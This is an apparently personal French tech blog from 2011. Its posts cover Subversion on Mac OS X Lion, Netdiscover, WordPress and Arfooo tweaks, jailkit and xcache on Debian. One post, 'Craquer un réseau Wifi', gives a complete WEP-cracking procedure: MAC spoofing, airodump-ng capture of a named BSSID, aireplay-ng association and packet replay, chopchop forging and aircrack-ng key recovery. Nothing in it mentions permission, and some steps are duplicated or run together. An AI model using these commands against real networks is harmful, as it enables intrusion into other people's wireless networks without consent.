mercredi 2 novembre 2011

Configurer un serveur Subversion sur Mac OS X 10.7 (Lion)

Les développeurs ayant leur configuration Subversion sous 10.6 (Snow Leopard) et qui ont effectué la mise à jour vers 10.7 (Lion), ont du remarquer que le serveur subversion ne fonctionnait plus.
La raison est que les Virtual Hosts dans Apache sous Lion ne se configurent plus dans httpd.conf, il faut inclure (dans le sens Include) un fichier de configuration.

Donc si on reprend le modèle de configuration de Subversion sur 10.6 (Snow Leopard) et on applique la méthode 10.7. On obtient ceci:


  • Ouvrir le terminal. Créer un dépôt nommé "repo":
$ sudo mkdir /usr/local/svn
$ sudo svnadmin create --fs-type fsfs /usr/local/svn/repo
$ cd /etc/apache2/
$ sudo cp httpd.conf httpd.conf.bak
$ sudo nano httpd.conf

  • Créer le fichier de configuration httpd.conf
$ cd /etc/apache2/extra/
$ nano httpd-subversion.conf

  • Ensuite ajouter le texte suivant après les "virtual host": 
LoadModule dav_svn_module libexec/apache2/mod_dav_svn.so
LoadModule authz_svn_module libexec/apache2/mod_authz_svn.so

<Location /repo>
   DAV svn
   SVNPath /usr/local/svn/repo
   AuthType Basic   AuthName "Subversion"   AuthUserFile /usr/local/svn/svn_passwd   Require valid-user
</Location>


  • Editer httpd.conf et ajouter la ligne suivante: 
Include /private/etc/apache2/extra/httpd-subversion.conf
  • Ensuite ajouter un mot de passe pour le répertoire: 
$ cd /usr/local/svn
$ sudo htpasswd -c svn_passwd fred

  • Modifier les droits d'accès pour le serveur Apache: 
$ cd /usr/local
$ sudo chown –R www:www /usr/local/svn
$ sudo chmod 600 /usr/local/svn/svn_passwd
$ ls -la /usr/local/svn/svn_passwd

  • Activer la fonction partage Web de Préférence Système, cela démarre Apache.
On doit pouvoir y accéder par http://localhost/repo

Référence en anglais (Subversion server on mac os x lion with apache).

vendredi 27 mai 2011

Installer Netdiscover sur Mac

Netdiscover est un scanner d'adresses Mac.


La procédure d'installation est la même que sur n'importe quel système UNIX.
Requis:
- libpcap
- libnet > 1.1.2

Pour MacOSX on peut installer ces librairies depuis macports
- libpcap (http://trac.macports.org/browser/trunk/dports/net/libpcap/Portfile)
- libnet11 (http://trac.macports.org/browser/trunk/dports/net/libnet11/Portfile)

Fink doit aussi pouvoir fournir ces librairies.
Une fois installées, on est prêt à build/compile netdiscover.

Build
$ export CFLAGS="-I/opt/local/include"
$ export LDFLAGS="-L/opt/local/lib"
$ ./configure
$ make
# make install

Où "/opt/local/" used for CFLAGS and LDFLAGS est le chemin contenant
libpcap and libnet (changer le chemin si besoin).

Voir Netdiscover.

Craquer un réseau Wifi


Voici une méthode que j'avais mis dans un coin depuis très longtemps et qui m'avait bien servi. Il s'agit ici de craquer une clé WEP. J'utilise un Mac, donc via VMWare, j'installe BackTrack3. Puis je branche une clé USB Wifi.
  1. Lancer VMWare
  2. Lancer BackTrack3
  3. Brancher Dongle Wifi
  4. Charger la clé USB et changer sa MAC
    wget http://rt2x00.serialmonkey.com/rt73-cvs-daily.tar.gz
    tar -xvzf rt73-cvs-daily.tar.gz
    cd rt73-cvs-2008062011/Module
    make
    make install
    airdriver-ng reload 31< ifconfig wlan0 down macchanger --mac=00:01:02:03:04:05 wlan0 airmon-ng start wlan0 Scanner le réseau et enregistrer
    airodump-ng --encrypt WEP wlan0
    airodump-ng --write maison --channel 10 --bssid 66:65:47:58:38:CC wlan0
  5. Scanner le réseau et enregistrer
    airodump-ng --encrypt WEP wlan0
    airodump-ng --write maison --channel 10 --bssid 66:65:47:58:38:CC wlan0
  6. S'associer au réseau
    aireplay-ng -1 0 -a 66:65:47:58:38:CC -h 00:01:02:03:04:05 wlan0
  7. Lire les beacons
    aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 66:65:47:58:38:CC -h 00:01:02:03:04:05 wlan0
  8. Cracker la clé
    aircrack-ng -x grimaldi-1.cap
  9. Configuration de la cle wifi:
    iwconfig wlan0 mode managed key <cle WEP>
    dhcpd wlan0
  10. Methode Chopchop pour Livebox avec station
  11. Pas d'association
    1. # aireplay-ng --chopchop -F -b <bssid> -h <station> wlan0
    2. # packetforge-ng -0 -a <bssid> -h <station> -k 10.255.255.255 -l 192.168.0.1 -y replay.xor -w arprequest
    3. aireplay-ng -2 -F -r arprequest -h <station> wlan0
    4. # aircrack-ng -P2 maison.cap

mardi 24 mai 2011

Mise en veille prolongée sur Mac


Dans mon cas où la batterie du macbook a gonflée et n'est donc plus utilisable au risque de casser le pad, il y a donc besoin d'activer le mode de veille prolongée pour pouvoir déplacer le macbook sans l'éteindre complètement.

Or, le mode veille par défaut garde la mémoire sous tension.
Pour connaitre le mode configuré, taper la commande suivante:
pmset -g | grep hibernatemode
Pour ensuite changer la configuration:
sudo pmset -a hibernatemode 1

dimanche 10 avril 2011

Internet Everywhere : No such file or directory

Pour supprimer correctement le logiciel d'Orange qui est fourni avec la clé 3G, est nécessaire d'aller dans le répertoire Bibliothèque/LaunchAgents et virer le fichier suivant:

/Users/<votre_nom>/Library/LaunchAgents/Internet Everywhere

Sinon, on voit dans la console le message d'erreur suivant s'afficher toutes les 10 secondes:
10/04/11 10:27:51 com.apple.launchd.peruser.501[161] (Internet Everywhere[632]) posix_spawn("/Applications/Internet Everywhere.app/Launcher.app/Contents/MacOS/Launchd Skript", ...): No such file or directory


Pour information, voici son contenu:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>Internet Everywhere</string>
<key>OnDemand</key>
<false/>
<key>Program</key>
<string>/Applications/Internet Everywhere.app/Launcher.app/Contents/MacOS/Launchd Skript</string>
<key>RunAtLoad</key>
<true/>
<key>WorkingDirectory</key>
<string>/Applications/Internet Everywhere.app/Launcher.app</string>
</dict>
</plist>


lundi 4 avril 2011

L'équivalent "écran bleu" de Mac

Ce n'est pas un écran bleu, mais le résultat est le même. Parfois, le mac plante et affiche le message d'erreur suivant dans toutes les langues:
"Redémarrez l'ordinateur. Enfoncez le bouton de démarrage jusqu'à l'extinction, puis appuyez dessus une nouvelle fois".

Est-ce annonciateur d'un problème sur le disque dur ?
En tout état de cause, il est nécessaire d'effectuer une sauvegarde Time Machine, puis lancer les scripts de maintenance Onyx.

jeudi 31 mars 2011

Mister Wong devient payant

Une newsletter informe les abonnés que le site a atteint un PageRank® de 8 et est, du coup, victime de spammers. Pour pouvoir continuer à utiliser notre compte, il faut soit choisir le compte pro qui consiste à payer $2 par mois minimum ou $72 tous les 6 mois (voir la grille de tarif), soit demander à être un "Truster user" en attestant ne pas être lié à une affiliation, être webmaster, ou pratiquer du référencement.

Le lendemain après avoir fait la demande de passer en "Truster user", je reçois un refus de leur part:
Hi xxxxxx,

we evaluated your account. Unfortunately it does not comply with our
strict "Trusted User" guidelines. This decision is final.

If you would like to continue using Mister Wong you can upgrade your
account here:
http://www.mister-wong.com/plans/

Alternatively, you can export you bookmarks to save them here:
http://www.mister-wong.com/bookmarks/export/

Accounts that have neither been upgraded nor have received "Trusted
User" status will be deleted shortly.

Many greetings,
your Mister Wong team

mardi 29 mars 2011

Redémarrer le serveur DNS sur Kimsufi ISPConfig OVH

Le serveur OVH Kimsufi en ISPConfig est installé avec MyDSN (et non Bind).
Dans le cas d'un upgrade, il m'est arrivé que le serveur DNS soit offline.
Il suffit donc de redémarrer le service DNS avec la commande suivante:
/etc/init.d/mydns restart
Et on a ainsi tous les services qui tournent.
Voir ici pour installer MyDNS.

jeudi 10 mars 2011

Retirer le lien en bas de page de wp-minify

Dans Wordpress, lorsqu'on installe le plugin wp-minify, celui-ci affiche allègrement son lien en footer.

Page optimized by WP Minify WordPress Plugin

Pour l'enlever, il suffit d'éditer wp-minify/wp-minify.php et de désactiver la fonction advertise.
Depuis le dashboard Wordpress, aller dans Plugin > Editor et de mettre en remarque la ligne suivante comme ceci, afin qu'elle n'appelle pas la fonction qui affiche le lien :
//add_action('wp_footer', array($this, 'advertise')

Faire de même avec la fonction
// function advertise() {
      // $wpm_options = get_option($this->name);
      // if ($wpm_options['show_link']) {
        // printf("<p align='center'><small>Page optimized by <a href='$this->homepage' title='$this->name_proper WordPress Plugin' style='text-decoration:none;'>$this->name_proper</a> <a href='$this->author_homepage' title='WordPress Plugin' style='text-decoration:none;'>WordPress Plugin</a></small></p>");
      // }
    // } 

lundi 14 février 2011

Ajouter les conditions d'utilisation dans l'annuaire Arfooo

Afin d'afficher les conditions d'utilisation de l'annuaire avant la souscription, il faut modifier dans le menu l'élément "soumettre un site", donc le fichier suivant:
/templates/menu/menuheader/menuheader.tpl
Remplacer la ligne:
<li id="add"><a href="{'/webmaster/submitWebsite'|url}">{'menuMenuheader_submit_website'|lang}</a></li>
Par:
<li id="add"><a href="{'/info/useCondition'|url}">{'menuMenuheader_submit_website'|lang}</a></li>

mercredi 19 janvier 2011

Pour décompresser un fichier RAR en Linux Debian.

Rien de plus simple : tout d'abords, installer UNRAR
apt-get install unrar
Ensuite, pour décompresser le fichier archive:
unrar x fichier.rar
Remarque: pour vérifier l'intégrité du fichier:
unrar t fichier.rar

mardi 18 janvier 2011

Installer l'annuaire Arfooo dans un répertoire


Voici la procédure pour installer le script de l'annuaire Arfooo dans un répertoire (exemple "/annuaire") et que la page d'accueil de l'annuaire s'affiche à la racine du domaine.

Télécharger le zip de Arfooo dans le répertoire "annuaire" du serveur et dézipper ce fichier
unzip arfooo-2.0.2.zip
Copier le fichier .htaccess depuis le répertoire "annuaire" et le coller à la racine du site et remplacer ceci:
#RewriteBase /
par ceci:
RewriteBase /annuaire/
Effectuer l'installation http://www.axample.com/annuaire/install/
Télécharger tout en local, et modifier le fichier /templates/arfooo/menu/menuheader/menuheader.tpl
Remplacer:
{$setting.siteRootUrl}
Par votre domaine
http://www.example.com
ou simplement, le slash.
Ceci marche bien entendu que pour le template Arfooo d'origine.
Ne surtout pas modifier l'adresse de l'annuaire (URL) dans la configuration générale.

jeudi 6 janvier 2011

Installer jailkit sur Debian Lenny ISPConfig

D'après The Perfect Server voici les étapes à suivre:
  • apt-get install build-essential autoconf automake1.10 libtool flex bison
Ensuite
  • cd /tmp
  • wget http://olivier.sessink.nl/jailkit/jailkit-2.13.tar.gz
  • tar xvfz jailkit-2.13.tar.gz
  • cd jailkit-2.13
  • ./configure
  • make
  • make install
  • cd ..
  • rm -rf jailkit-2.13*
Pour ma part, comme ISPConfig était déjà installé, il faut que je fasse un update avec mise à jour des services en suivant la méthode How to Update ISPConfig 3

  • ispconfig_update.sh
Voici la sortie écran:
--------------------------------------------------------------------------------
 _____ ___________   _____              __ _         ____
|_   _/  ___| ___ \ /  __ \            / _(_)       /__  \
  | | \ `--.| |_/ / | /  \/ ___  _ __ | |_ _  __ _    _/ /
  | |  `--. \  __/  | |    / _ \| '_ \|  _| |/ _` |  |_ |
 _| |_/\__/ / |     | \__/\ (_) | | | | | | | (_| | ___\ \
 \___/\____/\_|      \____/\___/|_| |_|_| |_|\__, | \____/
                                              __/ |
                                             |___/ 
--------------------------------------------------------------------------------


>> Update  

Operating System: Debian Lenny or compatible

This application will update ISPConfig 3 on your server.
Starting incremental database update.
Loading SQL patch file: /tmp/ispconfig3_install/install/sql/incremental/upd_0004.sql
Reconfigure Permissions in master database? (yes,no) [no]:    

Reconfigure Services? (yes,no) [yes]: 

Configuring Postfix
Configuring Jailkit
Configuring SASL
Configuring PAM
Configuring Courier
Configuring Spamassassin
Configuring Amavisd
Configuring Getmail
Configuring Pureftpd
Configuring MyDNS
Configuring Apache
Configuring vlogger
Configuring Apps vhost
Configuring Database
Configuring Firewall
Updating ISPConfig
ISPConfig Port [8080]: 

Create new ISPConfig SSL certificate (yes,no) [no]: 

Reconfigure Crontab? (yes,no) [yes]: 

Updating Crontab
Restarting services ...
Stopping MySQL database server: mysqld.
Starting MySQL database server: mysqld.
Checking for corrupt, not cleanly closed and upgrade needing tables..
Stopping Postfix Mail Transport Agent: postfix.
Starting Postfix Mail Transport Agent: postfix.
Stopping SASL Authentication Daemon: saslauthd.
Starting SASL Authentication Daemon: saslauthd.
Stopping amavisd: amavisd-new.
Starting amavisd: amavisd-new.
Stopping ClamAV daemon: clamd.
Starting ClamAV daemon: clamd .
Stopping Courier authentication services: authdaemond.
Starting Courier authentication services: authdaemond.
Stopping Courier IMAP server: imapd.
Starting Courier IMAP server: imapd.
Stopping Courier IMAP-SSL server: imapd-ssl.
Starting Courier IMAP-SSL server: imapd-ssl.
Stopping Courier POP3 server: pop3d.
Starting Courier POP3 server: pop3d.
Stopping Courier POP3-SSL server: pop3d-ssl.
Starting Courier POP3-SSL server: pop3d-ssl.
[Thu Jan 06 13:24:54 2011] [warn] NameVirtualHost 213.251.164.163:80 has no VirtualHosts
[Thu Jan 06 13:24:54 2011] [warn] NameVirtualHost 213.251.164.163:443 has no VirtualHosts
[Thu Jan 06 13:24:55 2011] [warn] NameVirtualHost 213.251.164.163:80 has no VirtualHosts
[Thu Jan 06 13:24:55 2011] [warn] NameVirtualHost 213.251.164.163:443 has no VirtualHosts
Restarting web server: apache2 ... waiting .
Restarting ftp server: Running: /usr/sbin/pure-ftpd-mysql-virtualchroot -l mysql:/etc/pure-ftpd/db/mysql.conf -l pam -b -O clf:/var/log/pure-ftpd/transfer.log -A -E -H -u 1000 -D -Y 1 -B
Update finished.
ks33054:~# 

mercredi 5 janvier 2011

Installer curl dans Debian Lenny



Suivre ce tutorial:
http://www.ivankristianto.com/os/ubuntu/howto-install-curl-in-php-apache/379/
  • apt-get install curl php5-curl libcurl3-dev

Installer xcache sur Debian Lenny ISPConfig

Suivre ce tutorial.

Une fois le fichier info.php installé sur le serveur alors:
http://ksxxxx.kimsufi.com/info.php
  • apt-get install php5-xcache
Si xcache est installé alors vérifiez la version:
  • php -v
Qui doit nous retourner ceci:
PHP 5.3.4-0.dotdeb.0 with Suhosin-Patch (cli) (built: Jan  3 2011 19:56:59)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
    with XCache v1.3.0, Copyright (c) 2005-2009, by mOo
    with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH

Pour trouver les fichier relatifs à XCache:

  • locate xcache

Pour le configurer:
  • cd /etc/php5/apache2/conf.d
  • vi xcache.ini
Le fichier xcache.ini doit ressembler au suivant:

[xcache-common] 
;extension = xcache.so ; La librairie est copiee dans `/etc/php5/apache2/conf.d` 
zend_extension = /usr/lib/php5/20090626+lfs/xcache.so


[xcache.admin] 
xcache.admin.user = "admin"
;xcache.admin.pass = md5($your_password) 
xcache.admin.pass = "xxxxxxx6d956dee1b4cdbc9d6da3" 


[xcache] 
xcache.shm_scheme = "mmap" 
xcache.size = 64M ; set to cpu count (cat /proc/cpuinfo |grep -c processor) 
xcache.count = 2 
xcache.slots = 8K ; ttl of the cache item, 0=forever 
xcache.ttl = 0 ; interval of gc scanning expired items, 0=no scan, other values is in seconds 
xcache.gc_interval = 0 ; same as aboves but for variable cache 
xcache.var_size = 2M 
xcache.var_count = 2 
xcache.var_slots = 8K 
xcache.var_ttl = 0 
xcache.var_maxttl = 0 
xcache.var_gc_interval = 300 
xcache.test = Off ; N/A for /dev/zero 
xcache.readonly_protection = Off 
xcache.mmap_path = "/tmp/xcache" 
xcache.coredump_directory = "" ; per request settings 
xcache.cacher = On 
xcache.stat = On 
xcache.optimizer = On 


[xcache.coverager] 
xcache.coverager = Off 
xcache.coveragedump_directory = "" 


Créer le mot de passe pour l'administration
  • echo -n toto | md5sum
Pour d'administrer, modifier la configuration d'Apache en ajoutant le vhost suivant:

  • vi /etc/apache2/sites-available/default
Alias /xcache-admin/ /usr/share/doc/php5-xcache/misc/admin/
<Directory "/usr/share/doc/php5-xcache/misc/admin">
     Options Indexes MultiViews
     Deny from All
     Allow from <mon adresse IP>
</Directory>

Remarque:
Parfois le répertoire d'administration peut se trouver dans le répertoire "/usr/share/xcache/admin/"

Redémarrer Apache:
  • /etc/init.d/apache2 restart

Pour vérifier que xcache est actif, deux méthodes:
  • http://<serveur>/phpinfo.php
  • php -v
Ce qui donne:

# php -v
PHP 5.3.6-6~dotdeb.0 with Suhosin-Patch (cli) (built: Apr 17 2011 13:37:29) 
Copyright (c) 1997-2011 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies
    with XCache v1.3.1, Copyright (c) 2005-2010, by mOo
    with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH


Articles intéressants:
http://www.papygeek.com/wordpress/wordpress-optimiser-son-blog-avec-un-systeme-de-cache/
http://www.howtoforge.com/xcache-php5-apache2-debian-etch
http://vin0x64.fr/lang/fr/2011/03/accelerer-son-blog-php-avec-xcache/
http://xcache.lighttpd.net/wiki/Release-1.3.1